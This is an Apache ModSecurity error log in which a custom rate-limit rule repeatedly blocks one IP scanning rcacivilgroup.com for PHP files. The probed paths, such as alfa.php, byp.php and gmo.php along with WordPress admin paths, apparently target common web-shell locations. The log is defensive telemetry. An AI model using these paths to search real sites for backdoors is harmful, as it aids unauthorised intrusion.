[Sun Apr 26 08:35:46.422190 2026] [:error] [pid 22572:tid 22595] [client 20.9.69.97:11102] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "ae1d4tXOViWCFU-pZzCDuQAAAVE"]
[Sun Apr 26 08:35:47.696709 2026] [:error] [pid 22572:tid 22581] [client 20.9.69.97:11159] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "ae1d49XOViWCFU-pZzCDxwAAAUM"]
[Sun Apr 26 08:35:49.200830 2026] [:error] [pid 13137:tid 13153] [client 20.9.69.97:11249] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "ae1d5d0RB4J0o4h5neHyOgAAAgw"]
[Sun Apr 26 08:36:09.376524 2026] [:error] [pid 13197:tid 13248] [client 20.9.69.97:11211] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae1d-d3kktFKdSxTrBuZ9wAAAtA"]
[Sun Apr 26 08:36:10.294533 2026] [:error] [pid 22572:tid 22589] [client 20.9.69.97:11230] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae1d-tXOViWCFU-pZzCD2wAAAUs"]
[Sun Apr 26 08:36:11.572073 2026] [:error] [pid 22572:tid 22601] [client 20.9.69.97:11241] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae1d-9XOViWCFU-pZzCD3AAAAVc"]
[Sun Apr 26 08:36:14.870738 2026] [:error] [pid 22572:tid 22592] [client 20.9.69.97:11258] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae1d_tXOViWCFU-pZzCD5AAAAU4"]
[Sun Apr 26 08:36:16.262358 2026] [:error] [pid 22573:tid 22618] [client 20.9.69.97:11250] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "ae1eAHB3EmQlD4yKUt81kQAAAYs"]
[Sun Apr 26 08:36:17.115541 2026] [:error] [pid 22573:tid 22624] [client 20.9.69.97:11150] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "ae1eAXB3EmQlD4yKUt81kgAAAZE"]
[Sun Apr 26 08:36:18.530073 2026] [:error] [pid 13137:tid 13158] [client 20.9.69.97:11150] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "ae1eAt0RB4J0o4h5neHyYgAAAhE"]
[Sun Apr 26 08:36:19.796633 2026] [:error] [pid 8385:tid 8437] [client 20.9.69.97:11140] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "ae1eAzOy7_J84Wx3-ox6pAAAAE0"]
[Sun Apr 26 08:36:20.799072 2026] [:error] [pid 22573:tid 22609] [client 20.9.69.97:11236] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "ae1eBHB3EmQlD4yKUt81lwAAAYM"]
[Sun Apr 26 08:36:21.712619 2026] [:error] [pid 13197:tid 13242] [client 20.9.69.97:11193] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "ae1eBd3kktFKdSxTrBuZ_wAAAss"]
[Sun Apr 26 08:36:22.293305 2026] [:error] [pid 8383:tid 8420] [client 20.9.69.97:11077] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "ae1eBtFa2S3EsATMdWPT3AAAABc"]
[Sun Apr 26 08:36:23.093065 2026] [:error] [pid 8385:tid 8435] [client 20.9.69.97:11094] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "ae1eBzOy7_J84Wx3-ox6pgAAAEs"]
[Sun Apr 26 08:36:23.526012 2026] [:error] [pid 8385:tid 8428] [client 20.9.69.97:11166] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "ae1eBzOy7_J84Wx3-ox6pwAAAEQ"]
[Sun Apr 26 08:36:24.388706 2026] [:error] [pid 22572:tid 22583] [client 20.9.69.97:11163] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "ae1eCNXOViWCFU-pZzCD8AAAAUU"]
[Sun Apr 26 08:36:25.744806 2026] [:error] [pid 16515:tid 16525] [client 20.9.69.97:11090] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "ae1eCVtDrUmgHSvpuLzV_QAAAkc"]
[Sun Apr 26 08:36:26.471296 2026] [:error] [pid 22573:tid 22621] [client 20.9.69.97:11143] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sx.php"] [unique_id "ae1eCnB3EmQlD4yKUt81ywAAAY4"]
[Sun Apr 26 08:36:30.641324 2026] [:error] [pid 8390:tid 8453] [client 20.9.69.97:11079] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "ae1eDoGPtFK_i9p5yxREHgAAAII"]
[Sun Apr 26 08:36:33.019702 2026] [:error] [pid 13197:tid 13238] [client 20.9.69.97:11146] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "ae1eEd3kktFKdSxTrBuaHAAAAsc"]
[Sun Apr 26 08:36:34.703235 2026] [:error] [pid 8390:tid 8466] [client 20.9.69.97:11093] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "ae1eEoGPtFK_i9p5yxREJAAAAI8"]
[Sun Apr 26 08:36:36.608352 2026] [:error] [pid 22572:tid 22580] [client 20.9.69.97:11096] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "ae1eFNXOViWCFU-pZzCEAwAAAUI"]
[Sun Apr 26 08:36:37.286850 2026] [:error] [pid 22572:tid 22586] [client 20.9.69.97:11181] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ae1eFdXOViWCFU-pZzCEBwAAAUg"]
[Sun Apr 26 08:36:38.567814 2026] [:error] [pid 13197:tid 13236] [client 20.9.69.97:11078] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ae1eFt3kktFKdSxTrBuaIgAAAsU"]
[Sun Apr 26 08:36:39.119881 2026] [:error] [pid 8385:tid 8442] [client 20.9.69.97:11176] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ae1eFzOy7_J84Wx3-ox6tQAAAFI"]
[Sun Apr 26 08:36:39.959630 2026] [:error] [pid 13137:tid 13159] [client 20.9.69.97:11137] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ae1eF90RB4J0o4h5neHydwAAAhI"]
[Sun Apr 26 08:36:40.394216 2026] [:error] [pid 13197:tid 13242] [client 20.9.69.97:11152] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ae1eGN3kktFKdSxTrBuaJwAAAss"]
[Sun Apr 26 08:36:40.824451 2026] [:error] [pid 22572:tid 22597] [client 20.9.69.97:11178] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ae1eGNXOViWCFU-pZzCECgAAAVM"]
[Sun Apr 26 08:36:41.363405 2026] [:error] [pid 22572:tid 22581] [client 20.9.69.97:11145] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ae1eGdXOViWCFU-pZzCEDQAAAUM"]
[Sun Apr 26 08:36:41.824460 2026] [:error] [pid 22572:tid 22600] [client 20.9.69.97:11121] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ae1eGdXOViWCFU-pZzCEEQAAAVY"]
[Sun Apr 26 08:36:42.272981 2026] [:error] [pid 16574:tid 16637] [client 20.9.69.97:11221] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "ae1eGn5MsX8wRQr99nYCXgAAA1U"]
[Sun Apr 26 08:36:42.853955 2026] [:error] [pid 8491:tid 8523] [client 20.9.69.97:11186] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "ae1eGiq7I7e6CJooQM2zNQAAANc"]
[Sun Apr 26 08:36:43.501615 2026] [:error] [pid 13137:tid 13140] [client 20.9.69.97:11156] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "ae1eG90RB4J0o4h5neHyewAAAgA"]
[Sun Apr 26 08:36:44.079299 2026] [:error] [pid 16574:tid 16605] [client 20.9.69.97:11194] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp.php"] [unique_id "ae1eHH5MsX8wRQr99nYCYwAAA0E"]
[Sun Apr 26 08:36:45.062132 2026] [:error] [pid 8491:tid 8505] [client 20.9.69.97:11123] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ae1eHSq7I7e6CJooQM2zNwAAAMY"]
[Sun Apr 26 08:36:45.652218 2026] [:error] [pid 8390:tid 8452] [client 20.9.69.97:11224] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ae1eHYGPtFK_i9p5yxREKQAAAIE"]
[Sun Apr 26 08:36:46.247189 2026] [:error] [pid 8390:tid 8464] [client 20.9.69.97:11075] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ae1eHoGPtFK_i9p5yxRELAAAAI0"]
[Sun Apr 26 08:36:47.024359 2026] [:error] [pid 8491:tid 8520] [client 20.9.69.97:11129] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ae1eHyq7I7e6CJooQM2zPAAAANU"]
[Sun Apr 26 08:36:47.676847 2026] [:error] [pid 22572:tid 22599] [client 20.9.69.97:11062] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/index.php"] [unique_id "ae1eH9XOViWCFU-pZzCEEgAAAVU"]
[Sun Apr 26 08:36:49.293496 2026] [:error] [pid 22573:tid 22615] [client 20.9.69.97:11111] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/index.php"] [unique_id "ae1eIXB3EmQlD4yKUt813AAAAYg"]
[Sun Apr 26 08:36:50.282325 2026] [:error] [pid 22573:tid 22626] [client 20.9.69.97:11124] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/index.php"] [unique_id "ae1eInB3EmQlD4yKUt813gAAAZM"]
[Sun Apr 26 08:36:50.802692 2026] [:error] [pid 8390:tid 8453] [client 20.9.69.97:10948] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/index.php"] [unique_id "ae1eIoGPtFK_i9p5yxREQgAAAII"]
[Sun Apr 26 08:36:51.556556 2026] [:error] [pid 13137:tid 13144] [client 20.9.69.97:11012] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/plugins.php"] [unique_id "ae1eI90RB4J0o4h5neHygwAAAgQ"]
[Sun Apr 26 08:36:52.343979 2026] [:error] [pid 22572:tid 22590] [client 20.9.69.97:11009] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/plugins.php"] [unique_id "ae1eJNXOViWCFU-pZzCEGAAAAUw"]
[Sun Apr 26 08:36:52.974650 2026] [:error] [pid 13137:tid 13147] [client 20.9.69.97:11098] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/plugins.php"] [unique_id "ae1eJN0RB4J0o4h5neHyiQAAAgc"]
[Sun Apr 26 08:36:53.464884 2026] [:error] [pid 8390:tid 8454] [client 20.9.69.97:11142] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/plugins.php"] [unique_id "ae1eJYGPtFK_i9p5yxRESgAAAIM"]
[Sun Apr 26 08:36:53.998855 2026] [:error] [pid 13137:tid 13153] [client 20.9.69.97:11105] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "ae1eJd0RB4J0o4h5neHyjQAAAgw"]
[Sun Apr 26 08:36:55.045264 2026] [:error] [pid 22572:tid 22589] [client 20.9.69.97:11108] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "ae1eJ9XOViWCFU-pZzCEHQAAAUs"]
[Sun Apr 26 08:36:55.471885 2026] [:error] [pid 16574:tid 16616] [client 20.9.69.97:11113] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "ae1eJ35MsX8wRQr99nYCbgAAA0s"]
[Sun Apr 26 08:36:56.011291 2026] [:error] [pid 8390:tid 8458] [client 20.9.69.97:11190] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "ae1eKIGPtFK_i9p5yxREVAAAAIc"]
[Sun Apr 26 08:36:56.521785 2026] [:error] [pid 22572:tid 22602] [client 20.9.69.97:11125] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "ae1eKNXOViWCFU-pZzCEIAAAAVg"]
[Sun Apr 26 08:36:56.978063 2026] [:error] [pid 13137:tid 13161] [client 20.9.69.97:11126] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "ae1eKN0RB4J0o4h5neHyjwAAAhQ"]
[Sun Apr 26 08:36:58.352921 2026] [:error] [pid 8390:tid 8453] [client 20.9.69.97:11104] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "ae1eKoGPtFK_i9p5yxREXwAAAII"]
[Sun Apr 26 08:37:00.128194 2026] [:error] [pid 22572:tid 22597] [client 20.9.69.97:11023] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "ae1eLNXOViWCFU-pZzCEKwAAAVM"]
